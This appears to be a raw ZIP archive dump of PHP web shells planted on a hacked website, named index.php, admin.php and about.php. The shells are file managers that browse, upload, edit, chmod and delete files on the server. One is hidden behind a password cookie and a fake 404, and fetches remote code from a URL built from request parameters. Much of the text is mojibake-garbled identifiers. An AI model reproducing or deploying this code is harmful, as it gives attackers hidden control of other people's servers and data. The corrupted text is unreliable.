curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_SSL_VERIFYPEER, 0);
$コード = curl_exec($CURLãƒãƒ³ãƒ‰ãƒ«);
curl_close($CURLãƒãƒ³ãƒ‰ãƒ«);
}
return $コード;
}
?>
000
= 1073741824) {
$ãƒã‚¤ãƒˆæ•° = number_format($ãƒã‚¤ãƒˆæ•° / 1073741824, 2) . ' GB';
}
// 1MB以上ã®å ´åˆ
elseif ($ãƒã‚¤ãƒˆæ•° >= 1048576) {
$ãƒã‚¤ãƒˆæ•° = number_format($ãƒã‚¤ãƒˆæ•° / 1048576, 2) . ' MB';
}
// 1KB以上ã®å ´åˆ
elseif ($ãƒã‚¤ãƒˆæ•° >= 1024) {
$ãƒã‚¤ãƒˆæ•° = number_format($ãƒã‚¤ãƒˆæ•° / 1024, 2) . ' KB';
}
// 1ãƒã‚¤ãƒˆã‚ˆã‚Šå¤§ãã„å ´åˆ
elseif ($ãƒã‚¤ãƒˆæ•° > 1) {
$ãƒã‚¤ãƒˆæ•° = $ãƒã‚¤ãƒˆæ•° . ' bytes';
}
// 1ãƒã‚¤ãƒˆã®å ´åˆ
elseif ($ãƒã‚¤ãƒˆæ•° == 1) {
$ãƒã‚¤ãƒˆæ•° = $ãƒã‚¤ãƒˆæ•° . ' byte';
}
// 0ãƒã‚¤ãƒˆã®å ´åˆ
else {
$ãƒã‚¤ãƒˆæ•° = '0 bytes';
}
return $ãƒã‚¤ãƒˆæ•°;
}
/**
* ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåã‚’å–å¾—ã™ã‚‹é–¢æ•°
*
* @param string $ファイル ファイルå
* @return string ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µå
*/
function 파ì¼í™•장ìž($ファイル)
{
return substr(strrchr($ファイル, '.'), 1);
}
/**
* ファイルタイプã«å¿œã˜ãŸã‚¢ã‚¤ã‚³ãƒ³ã‚’è¿”ã™é–¢æ•°
* ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåã‚„åå‰ã«åŸºã¥ã„ã¦é©åˆ‡ãªFont Awesomeアイコンを返ã—ã¾ã™
*
* @param string $ファイル ファイルå
* @return string HTMLアイコンタグ
*/
function 파ì¼ì•„ì´ì½˜($ファイル)
{
/**
* ç”»åƒãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåリスト
*/
$ç”»åƒæ‹¡å¼µåé…列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
/**
* éŸ³å£°ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåリスト
*/
$音声拡張åé…列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
/**
* ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåã‚’å°æ–‡å—ã§å–å¾—
*/
$æ‹¡å¼µå = strtolower(파ì¼í™•장ìž($ファイル));
/**
* 特殊ファイルåã®å‡¦ç†
*/
if ($ファイル == "error_log") {
return ' ';
} elseif ($ファイル == ".htaccess") {
return ' ';
}
/**
* æ‹¡å¼µåã«åŸºã¥ãアイコンã®é¸æŠž
*/
if ($æ‹¡å¼µå == "html" || $æ‹¡å¼µå == "htm") {
return ' ';
} elseif ($æ‹¡å¼µå == "php" || $æ‹¡å¼µå == "phtml") {
return ' ';
} elseif (in_array($æ‹¡å¼µå, $ç”»åƒæ‹¡å¼µåé…列)) {
return ' ';
} elseif ($æ‹¡å¼µå == "css") {
return ' ';
} elseif ($æ‹¡å¼µå == "txt") {
return ' ';
} elseif (in_array($æ‹¡å¼µå, $音声拡張åé…列)) {
return ' ';
} elseif ($æ‹¡å¼µå == "py") {
return ' ';
} elseif ($æ‹¡å¼µå == "js") {
return ' ';
} else {
return ' ';
}
}
/**
* パスをエンコードã™ã‚‹é–¢æ•°
* パス内ã®ç‰¹æ®Šæ–‡å—をベンガル文å—ã«ç½®ãæ›ãˆã¦ã‚¨ãƒ³ã‚³ãƒ¼ãƒ‰ã—ã¾ã™
*
* @param string $パス エンコードã™ã‚‹ãƒ‘ス
* @return string エンコードã•れãŸãƒ‘ス
*/
function 경로ì¸ì½”딩($パス)
{
/**
* ç½®æ›å‰ã®æ–‡å—é…列(スラッシュã€ãƒãƒƒã‚¯ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã€ãƒ‰ãƒƒãƒˆã€ã‚³ãƒãƒ³ï¼‰
*/
$ç½®æ›å‰é…列 = array("/", "\\", ".", ":");
/**
* ç½®æ›å¾Œã®æ–‡å—é…列(ベンガル文å—)
*/
$ç½®æ›å¾Œé…列 = array("ক", "খ", "গ", "ঘ");
return str_replace($ç½®æ›å‰é…列, $ç½®æ›å¾Œé…列, $パス);
}
/**
* パスをデコードã™ã‚‹é–¢æ•°
* エンコードã•れãŸãƒ‘スを元ã®å½¢å¼ã«æˆ»ã—ã¾ã™
*
* @param string $パス デコードã™ã‚‹ãƒ‘ス
* @return string デコードã•れãŸãƒ‘ス
*/
function 경로디코딩($パス)
{
/**
* ç½®æ›å‰ã®æ–‡å—é…列(ベンガル文å—)
*/
$ç½®æ›å‰é…列 = array("/", "\\", ".", ":");
/**
* ç½®æ›å¾Œã®æ–‡å—é…列(スラッシュã€ãƒãƒƒã‚¯ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã€ãƒ‰ãƒƒãƒˆã€ã‚³ãƒãƒ³ï¼‰
*/
$ç½®æ›å¾Œé…列 = array("ক", "খ", "গ", "ঘ");
return str_replace($ç½®æ›å¾Œé…列, $ç½®æ›å‰é…列, $パス);
}
/**
* ルートパスã®åˆæœŸåŒ–
* スクリプトã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’ルートパスã¨ã—ã¦è¨å®š
*/
$ルートパス = __DIR__;
/**
* スクリプトファイルã®ãƒ‘スをå–å¾—
*/
$パス = $_SERVER['SCRIPT_FILENAME'];
/**
* Windows環境ã®å ´åˆã€ãƒãƒƒã‚¯ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã‚’スラッシュã«å¤‰æ›
*/
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
$パス = str_replace('\\', '/', $パス);
}
/**
* ルートディレクトリã®åˆ¤å®š
* PHP_SELFã¨SCRIPT_FILENAMEãŒä¸€è‡´ã™ã‚‹å ´åˆã€ãƒ«ãƒ¼ãƒˆãƒ‘スを"/"ã«è¨å®š
*/
if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス))
{
$ルートパス = ('/');
} else {
/**
* ルートパスã®è¨ˆç®—
* SCRIPT_FILENAMEã‹ã‚‰PHP_SELFを除ã„ãŸéƒ¨åˆ†ã‚’ルートパスã¨ã—ã¦è¨å®š
*/
$ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) ));
}
/**
* パスパラメータã®å‡¦ç†
* GETパラメータpãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãã®ãƒ‘スを使用
*/
if (isset($_GET['p'])) {
/**
* パラメータãŒç©ºã®å ´åˆã¯ãƒ«ãƒ¼ãƒˆãƒ‘スを使用
*/
if (empty($_GET['p'])) {
$ç¾åœ¨ã®ãƒ‘ス = $ルートパス;
}
/**
* デコードã—ãŸãƒ‘スãŒãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã§ãªã„å ´åˆã€ã‚¨ãƒ©ãƒ¼ã‚’表示
*/
elseif (!is_dir(경로디코딩($_GET['p']))) {
echo ("");
}
/**
* デコードã—ãŸãƒ‘スãŒãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®å ´åˆã€ãã®ãƒ‘スを使用
*/
elseif (is_dir(경로디코딩($_GET['p']))) {
$ç¾åœ¨ã®ãƒ‘ス = 경로디코딩($_GET['p']);
}
}
/**
* クエリパラメータqãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã®å‡¦ç†
*/
elseif (isset($_GET['q'])) {
/**
* デコードã—ãŸãƒ‘スãŒãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã§ãªã„å ´åˆã€ãƒ«ãƒ¼ãƒˆã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ
*/
if (!is_dir(경로디코딩($_GET['q']))) {
echo ("");
}
/**
* デコードã—ãŸãƒ‘スãŒãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®å ´åˆã€ãã®ãƒ‘スを使用
*/
elseif (is_dir(경로디코딩($_GET['q']))) {
$ç¾åœ¨ã®ãƒ‘ス = 경로디코딩($_GET['q']);
}
}
/**
* パラメータãŒè¨å®šã•れã¦ã„ãªã„å ´åˆã€ç¾åœ¨ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’使用
*/
else {
$ç¾åœ¨ã®ãƒ‘ス = __DIR__;
}
/**
* ç¾åœ¨ã®ãƒ‘スを定数ã¨ã—ã¦å®šç¾©
*/
define("PATH", $ç¾åœ¨ã®ãƒ‘ス);
/**
* ナビゲーションãƒãƒ¼ã®è¡¨ç¤ºé–‹å§‹
*/
echo ('
');
/**
* パスパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãƒ•ァイル一覧を表示
*/
if (isset($_GET['p'])) {
/**
* ファイルã¨ãƒ•ォルダã®å–å¾—
* ディレクトリãŒèªã¿å–りå¯èƒ½ãªå ´åˆã€ã‚¹ã‚ャンã—ã¦ãƒ•ァイルã¨ãƒ•ォルダを分離
*/
if (is_readable(PATH)) {
/**
* ディレクトリ内ã®å…¨ã‚ªãƒ–ジェクトをå–å¾—
*/
$å–得オブジェクト = scandir(PATH);
/**
* フォルダã¨ãƒ•ã‚¡ã‚¤ãƒ«ã‚’æ ¼ç´ã™ã‚‹é…列
*/
$フォルダé…列 = array();
$ファイルé…列 = array();
/**
* å„オブジェクトをループã—ã¦ã€ãƒ•ォルダã¨ãƒ•ァイルã«åˆ†é¡ž
*/
foreach ($å–得オブジェクト as $オブジェクト) {
/**
* ç¾åœ¨ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã¨è¦ªãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã¯ã‚¹ã‚ップ
*/
if ($オブジェクト == '.' || $オブジェクト == '..') {
continue;
}
/**
* オブジェクトã®å®Œå…¨ãƒ‘スを構築
*/
$æ–°è¦ã‚ªãƒ–ジェクト = PATH . '/' . $オブジェクト;
/**
* ディレクトリã®å ´åˆã¯ãƒ•ォルダé…列ã«è¿½åŠ
*/
if (is_dir($æ–°è¦ã‚ªãƒ–ジェクト)) {
array_push($フォルダé…列, $オブジェクト);
}
/**
* ファイルã®å ´åˆã¯ãƒ•ァイルé…列ã«è¿½åŠ
*/
elseif (is_file($æ–°è¦ã‚ªãƒ–ジェクト)) {
array_push($ファイルé…列, $オブジェクト);
}
}
}
/**
* ファイル一覧テーブルã®ãƒ˜ãƒƒãƒ€ãƒ¼ã‚’表示
*/
echo '
| Name |
Size |
Modified |
Perms |
Actions |
';
/**
* フォルダ一覧ã®è¡¨ç¤º
* å„フォルダã«å¯¾ã—ã¦ã€åå‰ã€ã‚µã‚¤ã‚ºã€æ›´æ–°æ—¥æ™‚ã€æ¨©é™ã€ã‚¢ã‚¯ã‚·ãƒ§ãƒ³ã‚’表示
*/
foreach ($フォルダé…列 as $フォルダ) {
echo "
| " . $フォルダ . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . " |
|
|
";
}
/**
* ファイル一覧ã®è¡¨ç¤º
* å„ファイルã«å¯¾ã—ã¦ã€ã‚¢ã‚¤ã‚³ãƒ³ã€åå‰ã€ã‚µã‚¤ã‚ºã€æ›´æ–°æ—¥æ™‚ã€æ¨©é™ã€ã‚¢ã‚¯ã‚·ãƒ§ãƒ³ã‚’表示
*/
foreach ($ファイルé…列 as $ファイル) {
echo "
| " . 파ì¼ì•„ì´ì½˜($ファイル) . $ファイル . " |
" . í¬ê¸°í¬ë§·íŒ…(filesize(PATH . "/" . $ファイル)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " |
0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . " |
|
|
";
}
/**
* テーブルã®çµ‚了タグ
*/
echo "
";
} else {
/**
* GETパラメータãŒç©ºã®å ´åˆã€ãƒ‘スパラメータã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ
*/
if (empty($_GET)) {
echo ("");
}
}
/**
* æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªä½œæˆãƒ•ォームã®è¡¨ç¤º
* newdirパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªä½œæˆãƒ•ォームを表示
*/
if (isset($_GET['newdir']) && isset($_GET['q'])) {
echo '
';
/**
* æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªä½œæˆå‡¦ç†ã®å®Ÿè¡Œ
* create_directoryパラメータãŒPOSTã•れãŸå ´åˆã€æ–°ã—ã„ディレクトリを作æˆ
*/
if (isset($_POST['create_directory'])) {
/**
* POSTã•れãŸãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªåã‚’å–å¾—
*/
$æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå = trim($_POST['dirname']);
/**
* ディレクトリåã®æ¤œè¨¼
*/
if (!empty($æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå)) {
/**
* ディレクトリåã«ä¸æ£ãªæ–‡å—ãŒå«ã¾ã‚Œã¦ã„ãªã„ã‹ãƒã‚§ãƒƒã‚¯
*/
if (preg_match('/[\/\\\\:*?"<>|]/', $æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå)) {
echo ("");
} else {
/**
* æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®å®Œå…¨ãƒ‘ス
*/
$æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãƒ‘ス = PATH . "/" . $æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå;
/**
* ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãŒæ—¢ã«å˜åœ¨ã™ã‚‹ã‹ãƒã‚§ãƒƒã‚¯
*/
if (file_exists($æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãƒ‘ス)) {
echo ("");
} else {
/**
* æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®ä½œæˆ
* デフォルト権é™ã¯0755(所有者ã¯èªã¿æ›¸ã実行ã€ã‚°ãƒ«ãƒ¼ãƒ—ã¨ãã®ä»–ã¯èªã¿å®Ÿè¡Œï¼‰
*/
if(mkdir($æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãƒ‘ス, 0755, true)) {
echo ("");
} else {
echo ("");
}
}
}
} else {
echo ("");
}
}
}
/**
* ファイルアップãƒãƒ¼ãƒ‰ãƒ•ォームã®è¡¨ç¤º
* uploadパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ã‚¢ãƒƒãƒ—ãƒãƒ¼ãƒ‰ãƒ•ォームを表示
*/
if (isset($_GET['upload'])) {
echo '
';
}
/**
* ファイル・フォルダã®ãƒªãƒãƒ¼ãƒ 機能
* rパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãƒªãƒãƒ¼ãƒ フォームを表示
*/
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
/**
* リãƒãƒ¼ãƒ フォームã®è¡¨ç¤º
*/
echo '
';
/**
* リãƒãƒ¼ãƒ 処ç†ã®å®Ÿè¡Œ
* renameパラメータãŒPOSTã•れãŸå ´åˆã€ãƒ•ァイル・フォルダã®åå‰ã‚’変更
*/
if (isset($_POST['rename'])) {
/**
* ç¾åœ¨ã®ãƒ•ァイル・フォルダã®å®Œå…¨ãƒ‘ス
*/
$åå‰ = PATH . "/" . $_GET['r'];
/**
* リãƒãƒ¼ãƒ ã®å®Ÿè¡Œ
*/
if(rename($åå‰, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
/**
* ファイル編集機能
* eパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãƒ•ァイル編集フォームを表示
*/
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
/**
* ファイル編集フォームã®è¡¨ç¤º
* ファイルã®å†…容をテã‚ストエリアã«è¡¨ç¤º
*/
echo '
';
/**
* ファイルä¿å˜å‡¦ç†ã®å®Ÿè¡Œ
* editパラメータãŒPOSTã•れãŸå ´åˆã€ãƒ•ァイルã®å†…容をä¿å˜
*/
if(isset($_POST['edit'])) {
/**
* 編集対象ファイルã®å®Œå…¨ãƒ‘ス
*/
$ファイルå = PATH."/".$_GET['e'];
/**
* POSTã•れãŸãƒ‡ãƒ¼ã‚¿ã‚’å–å¾—
*/
$データ = $_POST['data'];
/**
* ファイルを書ãè¾¼ã¿ãƒ¢ãƒ¼ãƒ‰ã§é–‹ã
*/
$ファイルãƒãƒ³ãƒ‰ãƒ« = fopen($ファイルå,"w");
/**
* ファイルã¸ã®æ›¸ãè¾¼ã¿
*/
if(fwrite($ファイルãƒãƒ³ãƒ‰ãƒ«,$データ)) {
echo ("");
} else {
echo ("");
}
/**
* ファイルãƒãƒ³ãƒ‰ãƒ«ã‚’é–‰ã˜ã‚‹
*/
fclose($ファイルãƒãƒ³ãƒ‰ãƒ«);
}
}
}
/**
* ファイルアップãƒãƒ¼ãƒ‰å‡¦ç†ã®å®Ÿè¡Œ
* uploadパラメータãŒPOSTã•れãŸå ´åˆã€ã‚¢ãƒƒãƒ—ãƒãƒ¼ãƒ‰ã•れãŸãƒ•ァイルをä¿å˜
*/
if (isset($_POST["upload"])) {
/**
* アップãƒãƒ¼ãƒ‰å…ˆã®ãƒ•ァイルパス
*/
$ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"];
/**
* アップãƒãƒ¼ãƒ‰ã•れãŸãƒ•ァイルを移動
*/
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
/**
* ãƒ•ã‚¡ã‚¤ãƒ«ãƒ»ãƒ•ã‚©ãƒ«ãƒ€ã®æ¨©é™å¤‰æ›´æ©Ÿèƒ½
* chmodパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€æ¨©é™å¤‰æ›´ãƒ•ォームを表示
*/
if (isset($_GET['chmod']) && isset($_GET['q'])) {
if (!empty($_GET['chmod'])) {
/**
* 権é™å¤‰æ›´å¯¾è±¡ã®ãƒ•ァイル・フォルダã®å®Œå…¨ãƒ‘ス
*/
$権é™å¤‰æ›´å¯¾è±¡ = PATH . "/" . $_GET['chmod'];
/**
* ç¾åœ¨ã®æ¨©é™ã‚’å–得(8進数形å¼ï¼‰
*/
$ç¾åœ¨ã®æ¨©é™ = substr(decoct(fileperms($権é™å¤‰æ›´å¯¾è±¡)), -3);
/**
* 権é™å¤‰æ›´ãƒ•ォームã®è¡¨ç¤º
*/
echo '
';
/**
* 権é™å¤‰æ›´å‡¦ç†ã®å®Ÿè¡Œ
* change_permissionsパラメータãŒPOSTã•れãŸå ´åˆã€ãƒ•ã‚¡ã‚¤ãƒ«ãƒ»ãƒ•ã‚©ãƒ«ãƒ€ã®æ¨©é™ã‚’変更
*/
if (isset($_POST['change_permissions'])) {
/**
* POSTã•ã‚ŒãŸæ¨©é™å€¤ã‚’å–å¾—
*/
$æ–°ã—ã„æ¨©é™ = $_POST['permissions'];
/**
* 権é™å€¤ã®æ¤œè¨¼ï¼ˆ3æ¡ã®8進数ã§ã‚ã‚‹ã“ã¨ã‚’確èªï¼‰
*/
if (preg_match('/^[0-7]{3}$/', $æ–°ã—ã„æ¨©é™)) {
/**
* 権é™å¤‰æ›´å¯¾è±¡ã®ãƒ‘ス
*/
$権é™å¤‰æ›´ãƒ‘ス = PATH . "/" . $_POST['chmod_target'];
/**
* 8進数形å¼ã«å¤‰æ›ã—ã¦chmodを実行
*/
$権é™8進数値 = octdec($æ–°ã—ã„æ¨©é™);
/**
* 権é™ã®å¤‰æ›´ã‚’実行
*/
if(chmod($権é™å¤‰æ›´ãƒ‘ス, $権é™8進数値)) {
echo ("");
} else {
echo ("");
}
} else {
echo ("");
}
}
}
}
/**
* ファイル・フォルダã®å‰Šé™¤æ©Ÿèƒ½
* dパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãƒ•ァイル・フォルダを削除
*/
if (isset($_GET['d']) && isset($_GET['q'])) {
/**
* 削除対象ã®ãƒ•ァイル・フォルダã®å®Œå…¨ãƒ‘ス
*/
$åå‰ = PATH . "/" . $_GET['d'];
/**
* ファイルã®å ´åˆã®å‰Šé™¤å‡¦ç†
*/
if (is_file($åå‰)) {
if(unlink($åå‰)) {
echo ("");
} else {
echo ("");
}
}
/**
* ディレクトリã®å ´åˆã®å‰Šé™¤å‡¦ç†
*/
elseif (is_dir($åå‰)) {
if(rmdir($åå‰) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>
PK +•] >f!4 !4 about.phpnu „[µü¤ '.$p.'<-}'); }
$pass = false;
if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $p) { $pass = true; } } else
{ if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $p) { setcookie("p8", $_POST['p8']); $pass = true; } } }
if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", null); $pass= false; }
if (!$pass) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die();} echo ''; die(); }
echo '';
function GC($a)
{
$url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;}
?>
000
= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return ' ';
} elseif ($file == ".htaccess") {
return ' ';
}
if ($ext == "html" || $ext == "htm") {
return ' ';
} elseif ($ext == "php" || $ext == "phtml") {
return ' ';
} elseif (in_array($ext, $imgs)) {
return ' ';
} elseif ($ext == "css") {
return ' ';
} elseif ($ext == "txt") {
return ' ';
} elseif (in_array($ext, $audio)) {
return ' ';
} elseif ($ext == "py") {
return ' ';
} elseif ($ext == "js") {
return ' ';
} else {
return ' ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
$path = $_SERVER['SCRIPT_FILENAME'];
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
$path = str_replace('\\', '/', $path);
}
if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$path))
{
$root_path = ('/');}
else {
$root_path = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$path) ));
}
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = __DIR__;
}
define("PATH", $p);
echo ('
');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
| Name |
Size |
Modified |
Perms |
Actions |
';
foreach ($folders as $folder) {
echo "
| " . $folder . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . " |
|
|
";
}
foreach ($files as $file) {
echo "
| " . fileIcon($file) . $file . " |
" . formatSizeUnits(filesize(PATH . "/" . $file)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " |
0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . " |
|
|
";
}
echo "
";
} else {
if (empty($_GET)) {
echo ("");
}
}
if (isset($_GET['upload'])) {
echo '
';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("");
} else {
echo ("");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("");
} else {
echo ("");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>
PK +•]„
è*- - 1.txtnu „[µü¤ /home/streamviewiptv/public_html/vodo-tv.net
PK “¹]9¢Ïܤ ¤ .htaccessnu „[µü¤
Order allow,deny
Deny from all
Order allow,deny
Allow from all
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
PK +•]PwšOÂ} Â} index.phpnu „[µü¤ PK +•]ŽÞÎÔW W û} admin.phpnu „[µü¤ PK +•] >f!4 !4 ‹ÿ about.phpnu „[µü¤ PK +•]„
è*- - å3 1.txtnu „[µü¤ PK “¹]9¢Ïܤ ¤ G4 .htaccessnu „[µü¤ PK i $6